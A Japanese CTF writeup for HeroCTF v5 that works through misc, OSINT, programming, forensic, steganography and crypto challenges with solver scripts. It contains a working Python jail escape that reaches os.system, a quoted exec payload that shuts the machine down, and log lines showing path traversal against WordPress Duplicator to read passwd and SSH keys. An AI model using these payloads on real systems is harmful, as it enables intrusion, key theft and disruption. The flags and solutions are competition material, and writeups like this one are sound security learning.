HeroCTF v5 Writeup

この大会は2023/5/13 4:00(JST)~2023/5/15 6:00(JST)に開催されました。
今回もチームで参戦。結果は5795点で1085チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

aboutのページの最下部にフラグが書いてあった。

Hero{th3_l4w_1s_h4rd_bu7_1t_5_th3_l4w}

Pyjail (Misc)

$ nc dyn-03.heroctf.fr 14753
>> print("".__class__.__mro__[1].__subclasses__())
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

がある。そのインデックスは132。

>> "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('ls -la')
total 16
drwxr-xr-x 1 root root 4096 May 12 10:35 .
drwxr-xr-x 1 root root 4096 May 12 21:44 ..
-rwsr-xr-x 1 root root  133 May 12 10:17 entry.sh
-rwsr-xr-x 1 root root  845 May 12 10:17 pyjail.py

>> "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('cat pyjail.py')
#! /usr/bin/python3

# FLAG : Hero{nooooo_y0u_3sc4p3d!!}

def jail():
    user_input = input(">> ")

    filtered = ["eval", "exec"]
    
    valid_input = True
    for f in filtered:
        if f in user_input:
            print("You're trying something fancy aren't u ?")
            valid_input = False
            break
    for l in user_input:
        if ord(l) < 23 or ord(l) > 126:
            print("You're trying something fancy aren't u ?")
            valid_input = False
            break
    
    if valid_input:
        try:
            exec(user_input, {'__builtins__':{'print': print, 'globals': globals}}, {})
        except:
            print("An error occured. But which...")

def main():
    try:
        while True:
            jail()
    except KeyboardInterrupt:
        print("Bye")

if __name__ == "__main__":
    main()

スクリプトのコード内にコメントとしてフラグが書いてあった。

Hero{nooooo_y0u_3sc4p3d!!}

OpenPirate (OSINT)

Google検索で"heroctf.pirate"を検索すると、以下のページが見つかる。

https://archive.closed.social/sitemap.xml

その中で該当する箇所を検索すると、以下が見つかる。

<loc>https://archive.ph/2023.05.13-135458/http://heroctf.pirate/</loc>

https://archive.ph/2023.05.13-135458/http://heroctf.pirate/にアクセスしてみると、フラグが見つかった。

Hero{OpenNIC_is_free!!!3586105739}

Math Trap (Prog)

計算して答えていけばよいが、途中で以下のトラップがある。

exec("import platform,os;os.system('shutdown -h now')if platform.system()in'Linux'else os.system('shutdown -s')")

"exec"から始まる場合は何も答えないようにする。

#!/usr/bin/env python3
from pwn import *

p = remote('static-01.heroctf.fr', 8000)

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

for i in range(100):
    print('Round %d' % (i + 1))
    data = p.recvline().decode().rstrip()
    print(data)
    if data.startswith('exec'):
        ans = ''
    else:
        ans = str(eval(data))
    data = p.recvuntil(b'=').decode()
    print(data + ans)
    p.sendline(ans.encode())
    data = p.recvline().decode().rstrip()
    print(data)

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to static-01.heroctf.fr on port 8000: Done
Can you calculate these for me ?

Round 1
47 * 99
=4653

Round 2
22 - 39
=-17

Round 3
60 // 21
=2

  :

Round 98
2 * 86
=172

Round 99
63 // 69
=0

Round 100
exec("import platform,os;os.system('shutdown -h now')if platform.system()in'Linux'else os.system('shutdown -s')")
=

That was a trap, nice job !
Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}
[*] Closed connection to static-01.heroctf.fr port 8000
Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}

cub (Prog)

正方形になるパズルで対角線の文字を拾えばフラグになる。まず上と左にないものを探し、(0, 0)の位置に置く。次に右隣りにつなげていき、0行目を並べる。さらに(0, 0)から下につなげていき、0列目を並べる。あとは左と上がつながるよう並べていく。

#!/usr/bin/env python3
import pickle
import math

with open('puzzle.pickle', 'rb') as f:
    pieces = pickle.load(f)

size = int(math.sqrt(len(pieces)))
puzzle = [[] for i in range(size)]

## (0, 0) ##
for piece1 in pieces:
    found = False
    for piece2 in pieces:
        if piece1[0] == piece2[2]:
            found = True
            break
        elif piece1[3] == piece2[1]:
            found = True
            break
    if not found:
        puzzle[0].append(piece1)
        break

## (1, 0) - (63, 0) ##
for x in range(size - 1):
    left = puzzle[0][x][1]
    for piece in pieces:
        if piece[3] == left:
            puzzle[0].append(piece)
            break

## (0, 1) - (0, 63) ##
for y in range(size - 1):
    up = puzzle[y][0][2]
    for piece in pieces:
        if piece[0] == up:
            puzzle[y + 1].append(piece)
            break

## (1, 1) - (63, 63) ##
for y in range(1, size):
    for x in range(1, size):
        left = puzzle[y][x - 1][1]
        up = puzzle[y - 1][x][2]
        found = False
        for piece in pieces:
            if piece[3] == left and piece[0] == up:
                found = True
                puzzle[y].append(piece)
                break
        assert found

flag = ''
for i in range(size):
    flag += puzzle[i][i][4]
flag = 'Hero{%s}' % flag
print(flag)
Hero{d98e58021ab8454de195cc2eeb5ed3865dfec6bae3bebf3e0ec2f8b32621c1aa}

e-pu (Prog)

問題cubの3次元版。2次元と同様に(0, 0, 0)の位置を探し、そこから2次元分を並べる。それを3次元の方向に繰り返し行う。

#!/usr/bin/env python3
import pickle
import gmpy2

with open('puzzle.pickle', 'rb') as f:
    pieces = pickle.load(f)

size, success = gmpy2.iroot(len(pieces), 3)
assert success
puzzle = []

for z in range(size):
    part = [[] for i in range(size)]

    ## (0, 0) ##
    if z == 0:
        for piece1 in pieces:
            found = False
            for piece2 in pieces:
                if piece1[0] == piece2[3]:
                    found = True
                    break
                elif piece1[4] == piece2[1]:
                    found = True
                    break
                elif piece1[2] == piece2[5]:
                    found = True
                    break
            if not found:
                part[0].append(piece1)
                break
    else:
        front = puzzle[z - 1][0][0][5]
        for piece in pieces:
            if piece[2] == front:
                part[0].append(piece)
                break

    ## (1, 0) - (63, 0) ##
    for x in range(size - 1):
        left = part[0][x][1]
        for piece in pieces:
            if piece[4] == left:
                part[0].append(piece)
                break

    ## (0, 1) - (0, 63) ##
    for y in range(size - 1):
        up = part[y][0][3]
        for piece in pieces:
            if piece[0] == up:
                part[y + 1].append(piece)
                break

    ## (1, 1) - (63, 63) ##
    for y in range(1, size):
        for x in range(1, size):
            left = part[y][x - 1][1]
            up = part[y - 1][x][3]
            found = False
            for piece in pieces:
                if piece[4] == left and piece[0] == up:
                    found = True
                    part[y].append(piece)
                    break
            assert found

    puzzle.append(part)

flag = ''
for i in range(size):
    flag += puzzle[i][i][i][6]
flag = 'Hero{%s}' % flag
print(flag)
Hero{a0b5ccfaf13144c0292a584aac4c3753}

dev.corp 1/4 (Forensic)

Web サーバーのログから攻撃者によって使用された脆弱性のCVE、攻撃者によって回復された最も機密性の高いファイルの絶対パスを答える問題。
以下のようなログがあり、ディレクトリトラバーサルをしているようなURLがあることがわかる。

"GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa_backup HTTP/1.1" 200 2963 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"

URLのパスからWordPressプラグイン「Duplicator」のディレクトリトラバーサル脆弱性を使っていることがわかる。CVE ID は CVE-2020-11738。該当するログを検索する。

$ cat access.log | grep duplicator_download
internalproxy.devcorp.local - - [02/May/2023:13:12:29 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../etc/passwd HTTP/1.1" 200 2240 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
internalproxy.devcorp.local - - [02/May/2023:13:12:46 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa HTTP/1.1" 500 354 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
internalproxy.devcorp.local - - [02/May/2023:13:13:03 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/config HTTP/1.1" 200 531 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
internalproxy.devcorp.local - - [02/May/2023:13:13:17 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa_backup HTTP/1.1" 200 2963 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"

最も機密性の高いファイルは /home/webuser/.ssh/id_rsa_backup

Hero{CVE-2020-11738:/home/webuser/.ssh/id_rsa_backup}

Heap (Forensic)

Visual VMJavaヒープダンプファイルを開く。
オブジェクトでheroを検索すると、com.hero.cryptedsecretパッケージのクラスを確認できる。その中でAESEncrypt#1のフィールドを見ると、以下の設定がある。

K_E__Y = java.lang.String#761 : 995253995448505150995756525510150
- value = [99, 52, 53, 99, 54, 48, 50, 51, 50, 99, 57, 56, 52, 55, 101, 50]
message = java.lang.String#759 : 107836873115667084899751439776113691128676881161151121007611510156879910869104981137176105113118775410761
- value = [107, 83, 68, 73, 115, 66, 70, 84, 89, 97, 51, 43, 97, 76, 113, 69, 112, 86,
           76, 88, 116, 115, 112, 100, 76, 115, 101, 56, 87, 99, 108, 69, 104, 98, 113,
           71, 76, 105, 113, 118, 77, 54, 107, 61]

このmessageをbase64デコードして、このK_E__Yを鍵としてAES復号を行う。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import *

key = bytes([99, 52, 53, 99, 54, 48, 50, 51, 50, 99, 57, 56, 52, 55, 101, 50])
ct = bytes([107, 83, 68, 73, 115, 66, 70, 84, 89, 97, 51, 43, 97, 76, 113, 69,
    112, 86, 76, 88, 116, 115, 112, 100, 76, 115, 101, 56, 87, 99, 108, 69,
    104, 98, 113, 71, 76, 105, 113, 118, 77, 54, 107, 61])

cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(b64decode(ct)), 16).decode()
print(flag)
Hero{D1G_1NT0_J4V4_H34P}

PDF-Mess (Steganography)

PDF Stream Dumperで開くと、「110 0x37976-0x...」のオブジェクトに以下が書いてある。

const CryptoJS=require('crypto-js'),key='3d3067e197cf4d0a',ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString'](),cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';

AES暗号で鍵と暗号文があるので、復号する。

$ cat solve.js
const CryptoJS = require('crypto-js');
key = '3d3067e197cf4d0a';
message = 'U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';
const flag = CryptoJS.AES.decrypt(message, key);
console.log(flag.toString(CryptoJS.enc.Utf8));
$ node solve.js
Hero{M4L1C10U5_C0D3_1N_PDF}
Hero{M4L1C10U5_C0D3_1N_PDF}

Subliminal#2 (Steganography)

動画をフレームごとに静止画に分割してみる。

#!/usr/bin/env python3
import cv2

movie = cv2.VideoCapture('subliminal_hide.mp4')
nframe = int(movie.get(cv2.CAP_PROP_FRAME_COUNT))
for i in range(nframe):
    ret, frame = movie.read()
    cv2.imwrite('frames/subliminal_hide_' + str(i).zfill(4) + '.png', frame)

どのフレームにもフラグは見つからない。よく見ると20×20の正方形が各画像で移動して表示されているので、切り出して結合してみる。

#!/usr/bin/env python3
from PIL import Image

CELL_SIZE = 20
WIDTH = 1280
HEIGHT = 720
WIDTH_COUNT = WIDTH // CELL_SIZE
HEIGHT_COUNT = HEIGHT // CELL_SIZE
FILE_FORMAT = 'frames/subliminal_hide_%04d.png'

output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255))

for y in range(HEIGHT_COUNT):
    for x in range(WIDTH_COUNT):
        fname = FILE_FORMAT % (x + y * WIDTH_COUNT)
        img = Image.open(fname).convert('RGB')
        img_crop = img.crop((x * CELL_SIZE, y * CELL_SIZE,
            (x + 1) * CELL_SIZE, (y + 1) * CELL_SIZE))
        output_img.paste(img_crop, (x * CELL_SIZE, y * CELL_SIZE))

output_img.save('flag.png')

Hero{Not_So_Subliminal}

Hyper Loop (Crypto)

32回異なる6バイトのXORキーで暗号化されている。何回暗号化されても6バイトのXORキーで暗号化されていることには変わらない。フラグが"Hero{"から始まり"}"で終わることからXORキーを算出し、復号する。

#!/usr/bin/env python3
enc = b'\x05p\x07MS\xfd4eFPw\xf9}%\x05\x03\x19\xe8'

flag_head = b'Hero{'
flag_tail = b'}'

key = b''
for i in range(len(flag_head)):
    key += bytes([flag_head[i] ^ enc[i]])
key += bytes([flag_tail[-1] ^ enc[-1]])

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ key[i % len(key)])
print(flag)
Hero{hyp3r_l00p!1}

Lossy (Crypto)

与えられたスクリプトのコードは以下のようになっている。

from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers import Cipher, modes
from secret import flag, key

assert len(flag) == 32
assert len(key)  == 16

# should be equivalent to .hex() (probably)
to_hex = lambda x: "".join(hex(k)[2:] for k in x)

def encrypt(pt, key):
	aes = Cipher(AES(key), modes.ECB())
	enc = aes.encryptor()
	ct  = enc.update(pt)
	ct += enc.finalize()
	return ct

ct  = to_hex(encrypt(flag, key))
key = to_hex(key)

print(f'{ct  = }')
print(f'{key = }')

# ct  = '17c69a812e76d90e455a346c49e22fb6487d9245b3a90af42e67c7b7c3f2823'
# key = 'b5295cd71d2f7cedb377c2ab6cb93'

to_hexは1バイト単位で16進数が1桁の場合、0が削除される。ctの16進数表記は63バイトなので、偶数インデックスのどこかに'0'が入る。さらに'0'の位置から、前半31バイトのどこかに'0'が入る。
またkeyの16進数表記は29バイトなので、偶数インデックスの3箇所に'0'が入る。
ctの16進数表記の後半32バイトについて、鍵のブルートフォースで復号し、鍵を求める。その後ctの16進数表記の前半32バイトについて、暗号文のブルートフォースで復号する。

#!/usr/bin/env python3
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers import Cipher, modes
import itertools

def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
             return False
    return True

lost_ct  = '17c69a812e76d90e455a346c49e22fb6487d9245b3a90af42e67c7b7c3f2823'
lost_key = 'b5295cd71d2f7cedb377c2ab6cb93'

ct1 = bytes.fromhex(lost_ct[31:])

for x in itertools.combinations_with_replacement(list(range(len(lost_key))), 3):
    key = lost_key[:x[0]] + '0' + lost_key[x[0]:x[1]] + '0' \
        + lost_key[x[1]:x[2]] + '0' + lost_key[x[2]:]
    key = bytes.fromhex(key)
    aes = Cipher(AES(key), modes.ECB())
    dec = aes.decryptor()
    pt1 = dec.update(ct1)
    pt1 += dec.finalize()
    if is_printable(pt1):
        break

for x in range(31):
    ct = bytes.fromhex(lost_ct[:x] + '0' + lost_ct[x:])
    aes = Cipher(AES(key), modes.ECB())
    dec = aes.decryptor()
    pt = dec.update(ct)
    pt += dec.finalize()
    if is_printable(pt):
        break

flag = pt.decode()
print(flag)
Hero{R41ders_0f_th3_l0st_byt3s!}

Futile (Crypto)

$ nc static-01.heroctf.fr 9001
Hero{6f1c503c4851a3b12fc410eef11a384be41ecd255e1b96a8c423639d}

Hero{a5640e51cd7787f7e9abd34eec9fae8cf2838114070ece6cbaaa90ef}

Hero{8fdc1d14cf565a65b00ebd1114889c630e20e5638ec7a309f4da2caf}

サーバの処理概要は以下の通り。

・以下繰り返し
 ・'Hero{' + mask(flag[5:-1]) + '}\n'を表示
  ・mask(flag[5:-1])
   ※flag = flag[5:-1]とする。
   ・flagの各文字とget_uint8()のXORの16進数表記
    ・get_uint8()
     ・binl2int(lfsr().runKCycle(8))

get_uint8()が0にならないことを使って、何回もmask(flag[5:-1])を表示させバイト単位で登場しない文字を結合すればフラグになる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def remove_out_of_scope(flags, s):
    d = flags
    for i in range(0, len(s), 2):
        c = int(s[i:i+2], 16)
        if c in d[i // 2]:
            d[i // 2].remove(c)
    return d

def is_finished(flags):
    for i in range(len(flags)):
        if len(flags[i]) != 1:
            return False
    return True

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('static-01.heroctf.fr', 9001))

data = recvuntil(s, b'\n').rstrip()
print(data)

l = len(data[5:-1]) // 2
flags = [[code for code in range(32, 127)] for _ in range(l)]
flags = remove_out_of_scope(flags, data[5:-1])

s.sendall(b'\n')

while True:
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    flags = remove_out_of_scope(flags, data[5:-1])
    s.sendall(b'\n')
    if is_finished(flags):
        break

flag = 'Hero{'
for c in flags:
    flag += chr(c[0])
flag += '}'
print(flag)

実行結果は以下の通り。

    :
Hero{ddb3c924615030534bf63a179b6029716c4a6803f89eafbb707e3553}
Hero{10be5cb839329c7ab77f35997036ff9d48de6925c11330305569fd52}
Hero{96b340229def133e5c63def483307701a11a73a569b60a6c8ebb73b2}
Hero{7c2784533778fd2126411bec79654ddbe5c6c8ebe4cba71a299f5899}
Hero{c880dc41221324581240934ee204420acb1a4700678bdd6f8e10087d}
Hero{Int3rn4l_st4t3s_c4nt_b3_nu77}
Hero{Int3rn4l_st4t3s_c4nt_b3_nu77}